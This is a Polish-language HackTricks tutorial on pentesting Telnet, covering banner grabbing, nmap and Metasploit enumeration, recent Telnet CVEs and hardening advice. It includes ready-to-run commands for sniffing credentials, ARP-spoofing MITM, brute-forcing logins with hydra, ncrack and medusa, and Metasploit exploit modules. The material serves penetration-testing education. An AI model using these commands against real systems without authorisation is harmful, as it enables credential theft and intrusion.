23 - Pentesting Telnet

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Telnet to protokół sieciowy, który daje użytkownikom nieszyfrowany sposób dostępu do komputera przez sieć.

Domyślny port: 23

23/tcp open  telnet

Enumeracja

Zbieranie banerów

bash
nc -vn <IP> 23

Wszystkie interesujące enumeracje można wykonać za pomocą nmap:

bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Skrypt telnet-ntlm-info.nse uzyska informacje NTLM (wersje Windows).

Z telnet RFC: W protokole TELNET znajdują się różne "opcje", które będą zatwierdzone i mogą być używane w strukturze "DO, DON'T, WILL, WON'T", aby umożliwić użytkownikowi i serwerowi zgodzenie się na użycie bardziej złożonego (lub może po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, tryb echa itp.

Wiem, że możliwe jest enumerowanie tych opcji, ale nie wiem jak, więc daj mi znać, jeśli wiesz jak.

Brute force

Plik konfiguracyjny

bash
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

Automatyczne polecenia HackTricks

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Recent Vulnerabilities (2022-2025)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Wbudowana usługa Telnet akceptowała twardo zakodowane dane uwierzytelniające i nie sanitizowała wejścia, co pozwalało na nieautoryzowane zdalne RCE jako root za pomocą stworzonych poleceń na porcie 23. Naprawiono w oprogramowaniu układowym ≥ 1.04B05.
  • CVE-2023-40478 – NETGEAR RAX30: Przepełnienie bufora oparte na stosie w poleceniu Telnet CLI passwd pozwala sąsiedniemu atakującemu na ominięcie uwierzytelnienia i wykonanie dowolnego kodu jako root.
  • CVE-2022-39028 – GNU inetutils telnetd: Sekwencja dwóch bajtów (0xff 0xf7 / 0xff 0xf8) wywołuje dereferencję wskaźnika NULL, co może spowodować awarię telnetd, prowadząc do trwałego DoS po kilku awariach.

Pamiętaj o tych CVE podczas triage podatności — jeśli cel działa na niepoprawionym oprogramowaniu układowym lub przestarzałym demonie Telnet inetutils, możesz mieć prostą drogę do wykonania kodu lub zakłócającego DoS.

Sniffing Credentials & Man-in-the-Middle

Telnet przesyła wszystko, w tym dane uwierzytelniające, w czystym tekście. Dwa szybkie sposoby na ich przechwycenie:

bash
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Dla aktywnego MITM, połącz spoofing ARP (np. arpspoof/ettercap) z tymi samymi filtrami sniffingowymi, aby zbierać hasła w sieciach przełączanych.

Zautomatyzowane ataki brute-force / Password Spraying

bash
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Większość botnetów IoT (warianty Mirai) nadal skanuje port 23 z małymi słownikami domyślnych poświadczeń—odzwierciedlenie tej logiki może szybko zidentyfikować słabe urządzenia.

Eksploatacja i post-eksploatacja

Metasploit ma kilka przydatnych modułów:

  • auxiliary/scanner/telnet/telnet_version – enumeracja banerów i opcji.
  • auxiliary/scanner/telnet/brute_telnet – wielowątkowe łamanie haseł.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE przeciwko podatnemu Telnetowi Solaris 9/10 (obsługa opcji ENCRYPT).
  • exploit/linux/mips/netgear_telnetenable – włącza usługę telnet za pomocą spreparowanego pakietu na wielu routerach NETGEAR.

Po uzyskaniu powłoki pamiętaj, że TTY są zazwyczaj głupie; zaktualizuj za pomocą python -c 'import pty;pty.spawn("/bin/bash")' lub użyj HackTricks TTY tricks.

Wzmocnienie i wykrywanie (kącik niebieskiego zespołu)

  1. Preferuj SSH i całkowicie wyłącz usługę Telnet.
  2. Jeśli Telnet jest wymagany, przypisz go tylko do VLAN-ów zarządzających, egzekwuj ACL i owiń demon w TCP wrappers (/etc/hosts.allow).
  3. Zastąp przestarzałe implementacje telnetd ssl-telnet lub telnetd-ssl, aby dodać szyfrowanie transportowe, ale to tylko chroni dane w tranzycie—zgadywanie haseł pozostaje trywialne.
  4. Monitoruj ruch wychodzący do portu 23; kompromitacje często generują odwrotne powłoki przez Telnet, aby obejść surowe filtry egress HTTP.

Odniesienia

  • D-Link Advisory – CVE-2024-45698 Krytyczne Telnet RCE.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks